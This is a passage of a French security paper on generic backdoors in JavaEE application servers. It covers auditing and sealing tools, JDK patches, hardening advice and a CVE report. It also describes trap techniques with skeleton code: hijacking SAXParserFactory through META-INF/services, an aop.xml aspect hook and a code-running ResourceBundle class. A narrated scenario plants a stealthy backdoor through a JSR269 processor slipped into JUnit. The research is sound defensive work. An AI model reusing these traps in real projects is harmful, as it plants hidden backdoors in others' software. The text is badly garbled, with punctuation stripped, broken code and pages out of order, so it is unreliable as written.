Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 389
Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants
Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser
ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations
22 Piege par laquo surcharge raquo
La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication
Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire
Fig 1 Enchaınement de classes
Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire
lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la
copie nrsquoen tient pas compte
390 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM
Cette approche est donc rejetee
23 Piege par laquo parametrage raquo
De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code
Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)
ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt
ndash Ressource ltparamwsddgt
La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet
Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer
Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API
Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite
Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes
1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-
Factory
2 httpjavasuncomj2se13docsguidejarjarhtml
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
